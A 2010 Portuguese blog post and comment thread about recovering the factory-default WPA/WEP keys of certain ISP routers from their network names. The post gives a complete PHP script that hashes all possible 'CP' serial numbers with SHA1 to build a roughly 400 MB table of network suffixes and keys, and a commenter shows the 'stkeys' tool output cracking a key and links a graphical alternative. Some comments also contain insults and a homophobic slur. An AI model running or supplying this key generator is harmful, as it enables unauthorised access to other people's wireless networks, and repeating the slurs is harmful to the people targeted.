Mais um blog inútil.

Abril 8, 2010

Algoritmos, chaves WEP e WPA e routers “baratos”…

Filed under: Uncategorized — gatuno @ 17:18

Olá a todos,

Ontem confesso que não me estava a sentir muito bem-disposto por isso resolvi implementar um algoritmo que encontrei nas internetes sobre como descobrir as chaves predefinidas dos routers de alguns provedores... Aqui vai:

Certamente o leitor já se deverá ter deparado com algumas redes wireless com o nome "Toquerapido30A428"  ou "Marca49F90B" e afins... Geralmente os detentores das referidas redes por ignorância ou por solidariedade não alteram as chaves que vêm por defeito nos routers. O que este algoritmo pretende fazer é exactamente isso. Gerar as chaves predefinidas desses routers.

De acordo com o blog "fodi.me", o algoritmo é o seguinte:

O número de série dos routers em questão é precisamente a base para todo o processo. Exemplificando:

CP YY WW PP XXX

Em que:

YY - Ano de Fabrico
WW – Semana de Fabrico
PP – Código do Produto
XXX - Desconhecido

O algoritmo passa por numa primeira fase gerarmos todos os números de série possíveis que nos interessarem, tendo em conta o ano e a semana de fabrico. O valor XXX (desconhecido) oscila entre AAA e 999, pelo que será necessário também gerar-se essa sequência. Uma vez gerada, adiciona-se essa string ao final de cada número de série. Seguidamente, passamo-la para hexadecimal. Posto isto, a cada número de série calculamos o hash sha1 do router: exemplo dado pelo fodi.me: CP0817314142 --> bc8c18aec9e740c37be79e7f2058c50fd922e4bb

Daqui, os primeiros 10 caracteres referenciam a chave de rede (necessário colocar em uppercase) e os últimos seis, o nome da rede, precedido pelo nome do fabricante: "Toquerapido22e4bb".

A implementação em php para gerar as chaves é relativamente simples:

<?
function ascii2hex($ascii) {
$hexadecimal = '';
for ($i = 0; $i < strlen($ascii); $i++) {
$byte = strtoupper(dechex(ord($ascii{$i})));
$byte = str_repeat('0', 2 - strlen($byte)).$byte;
$hexadecimal.=$byte;
}
return $hexadecimal;
}
$dicionario = file('/Users/gatuno/wpa-wep/dic.lst');
for($ano=4; $ano<=11; $ano++)
{
if($ano<10)
{
$year = '0'.$ano;
}
else{
$year = $ano;
}
for($semana=1; $semana<=52; $semana++)
{
if($semana<10)
{
$week='0'.$semana;
}
else{
$week=$semana;
}
foreach($dicionario as $numLinhaDic => $linha)
{
$hex = ascii2hex(substr($linha,0,3));
$hash = sha1("CP$year$week$hex");
$chave = substr($hash,0,10);
$rede  = substr($hash,-6);
echo $rede;
echo ' '.$chave."\n";
}
}
}
?>
o ficheiro dic.lst apresenta apenas uma listagem igual à proposta pelo website.
# php -f gerador.php > redes
Apartir daí, para colocarmos esta listagem numa base de dados é trivial... O meu MBP 2.53 levou cerca de 4 minutos a gerar isto, totalizando uma base de dados de cerca de 400 MB :)
No entanto, é de louvar quem descobriu isto!Eu sou um mero "implementador".. :)

7 comentários a “Algoritmos, chaves WEP e WPA e routers “baratos”…”

  1. Armorfist diz:

    És masé um mero gatuno MEU GATUUUUUUUUUNO......

  2. Tesão diz:

    "O meu MBP 2.53 levou cerc........"

    e de repente, ja ninguem quer saber do que falas. MAC IS GAY LOL!

  3. [...] Link to the original site Categories: Security Tags: Security Comments (0) Leave a comment [...]

  4. valentão diz:

    Saudações, parabéns pelo artigo. Prefiro a abordagem que retorna a chave sem gerar essa db, pois 400mb e um pouco pesado para a maioria dos gadgets que carregamos no bolso.
    No meu gadget demoro cerca de 2 min a ter as ditas chaves disponiveis:

    ~ $ time stkeys a7f408 
    
    [*] Generating keys for 2004
    
    [*] Generating keys for 2005
    
    [*] Generating keys for 2006
    
    [*] Generating keys for 2007
    
    [*] Generating keys for 2008
    
    [*] Generating keys for 2009
            [+] Serial Number: CP0913**4NA - potential key = 7F3F86E9C9
    
    [*] Seconds elapsed:130 - keys per second:111974
    real    2m 9.39s
    user	2m 7.14s
    sys	0m 0.00s
    ~ $ 
    

    stkeys é feliz no n900!

  5. gatuno diz:

    @valentão
    obrigado pelo comentário (construtivo)! :)
    por acaso não conhecia esse programa... mas agora deste-me a ideia de fazer uma coisa semelhante para J2ME ou Symbian! Isto, se já não existir... :P

  6. Alex diz:

    gatuno, para symbian s60v3 dava jeito :P

  7. valentão diz:

    Ao que parece temos outra alternativa mais gráfica para os faggots que adoram GUI (graphic useless interface).
    http://code.google.com/p/wifipassreminder/

Leave a Reply for João Saramago » Algoritmos, chaves WEP e WPA e routers “baratos”…

widgeon
widgeon
widgeon
widgeon